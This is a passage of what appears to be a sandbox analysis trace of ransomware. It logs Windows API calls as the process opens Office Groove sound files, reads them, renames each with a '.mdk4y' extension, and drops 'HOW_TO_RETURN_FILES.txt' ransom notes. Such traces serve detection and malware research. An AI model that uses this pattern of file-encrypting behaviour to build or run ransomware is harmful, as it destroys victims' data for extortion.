| out: lpPerformanceCount=0x37ddcc*=1828890500000) returned 1 [0213.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav.mdk4y")) returned 1 [0213.677] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.677] AreFileApisANSI () returned 1 [0213.677] GetACP () returned 0x4e4 [0213.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MMHMM.WAV", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="MMHMM.WAVV", lpUsedDefaultChar=0x37de34) returned 9 [0213.677] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828890900000) returned 1 [0213.679] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x3b00, lpOverlapped=0x0) returned 1 [0213.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828891300000) returned 1 [0213.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828891300000) returned 1 [0213.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav.mdk4y")) returned 1 [0213.686] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.686] AreFileApisANSI () returned 1 [0213.686] GetACP () returned 0x4e4 [0213.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SNEEZE.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SNEEZE.WAV", lpUsedDefaultChar=0x37de34) returned 10 [0213.686] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828891700000) returned 1 [0213.687] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x9c84, lpOverlapped=0x0) returned 1 [0213.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828893800000) returned 1 [0213.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828893800000) returned 1 [0213.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav.mdk4y")) returned 1 [0213.711] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.711] AreFileApisANSI () returned 1 [0213.711] GetACP () returned 0x4e4 [0213.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THROAT.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="THROAT.WAV", lpUsedDefaultChar=0x37de34) returned 10 [0213.711] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828894100000) returned 1 [0213.711] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x8d36, lpOverlapped=0x0) returned 1 [0213.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828895300000) returned 1 [0213.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828895300000) returned 1 [0213.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav.mdk4y")) returned 1 [0213.725] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.725] AreFileApisANSI () returned 1 [0213.725] GetACP () returned 0x4e4 [0213.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Whistling.wav", cchWideChar=13, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Whistling.wavTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 13 [0213.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828895700000) returned 1 [0213.727] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x7302, lpOverlapped=0x0) returned 1 [0213.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828898300000) returned 1 [0213.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828898300000) returned 1 [0213.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav.mdk4y")) returned 1 [0213.756] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0213.756] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0213.756] AreFileApisANSI () returned 1 [0213.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0213.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0213.757] GetFileType (hFile=0xe0) returned 0x1 [0213.758] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.758] AreFileApisANSI () returned 1 [0213.758] GetACP () returned 0x4e4 [0213.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Places", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Places", lpUsedDefaultChar=0x37dec0) returned 6 [0213.758] AreFileApisANSI () returned 1 [0213.758] GetACP () returned 0x4e4 [0213.758] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=64, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ˊ") returned 64 [0213.772] AreFileApisANSI () returned 1 [0213.772] GetACP () returned 0x4e4 [0213.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0213.772] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.772] AreFileApisANSI () returned 1 [0213.772] GetACP () returned 0x4e4 [0213.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0213.772] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.772] AreFileApisANSI () returned 1 [0213.772] GetACP () returned 0x4e4 [0213.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ALARM.WAV", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ALARM.WAVotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 9 [0213.773] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828900300000) returned 1 [0213.773] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x84e0, lpOverlapped=0x0) returned 1 [0213.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828900500000) returned 1 [0213.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828900500000) returned 1 [0213.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav.mdk4y")) returned 1 [0213.777] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.777] AreFileApisANSI () returned 1 [0213.777] GetACP () returned 0x4e4 [0213.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUZZ.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BUZZ.WAVV", lpUsedDefaultChar=0x37de34) returned 8 [0213.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828900700000) returned 1 [0213.778] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xeb78, lpOverlapped=0x0) returned 1 [0213.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902000000) returned 1 [0213.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902000000) returned 1 [0213.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav.mdk4y")) returned 1 [0213.792] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.792] AreFileApisANSI () returned 1 [0213.792] GetACP () returned 0x4e4 [0213.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LASER.WAV", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="LASER.WAV", lpUsedDefaultChar=0x37de34) returned 9 [0213.793] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902300000) returned 1 [0213.793] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd686, lpOverlapped=0x0) returned 1 [0213.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902500000) returned 1 [0213.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902500000) returned 1 [0213.795] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav.mdk4y")) returned 1 [0213.796] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.796] AreFileApisANSI () returned 1 [0213.796] GetACP () returned 0x4e4 [0213.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RADAR.WAV", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="RADAR.WAV", lpUsedDefaultChar=0x37de34) returned 9 [0213.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828902700000) returned 1 [0213.797] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x100ea, lpOverlapped=0x0) returned 1 [0213.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828904200000) returned 1 [0213.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828904200000) returned 1 [0213.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav.mdk4y")) returned 1 [0213.818] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.818] AreFileApisANSI () returned 1 [0213.818] GetACP () returned 0x4e4 [0213.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TOOT.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="TOOT.WAVV", lpUsedDefaultChar=0x37de34) returned 8 [0213.818] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828904900000) returned 1 [0213.819] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd64a, lpOverlapped=0x0) returned 1 [0213.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828906600000) returned 1 [0213.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828906700000) returned 1 [0213.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav.mdk4y")) returned 1 [0213.839] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.839] AreFileApisANSI () returned 1 [0213.839] GetACP () returned 0x4e4 [0213.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIBE.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VIBE.WAV", lpUsedDefaultChar=0x37de34) returned 8 [0213.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828907000000) returned 1 [0213.840] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xea72, lpOverlapped=0x0) returned 1 [0213.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828908800000) returned 1 [0213.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828908800000) returned 1 [0213.860] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav.mdk4y")) returned 1 [0213.861] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.861] AreFileApisANSI () returned 1 [0213.861] GetACP () returned 0x4e4 [0213.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WARN.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="WARN.WAV", lpUsedDefaultChar=0x37de34) returned 8 [0213.862] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828909400000) returned 1 [0213.864] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xae8a, lpOverlapped=0x0) returned 1 [0213.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828910200000) returned 1 [0213.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828910200000) returned 1 [0213.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav.mdk4y")) returned 1 [0213.874] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0213.874] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0213.875] AreFileApisANSI () returned 1 [0213.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0213.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0213.876] GetFileType (hFile=0xe0) returned 0x1 [0213.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.877] AreFileApisANSI () returned 1 [0213.877] GetACP () returned 0x4e4 [0213.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Things", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, 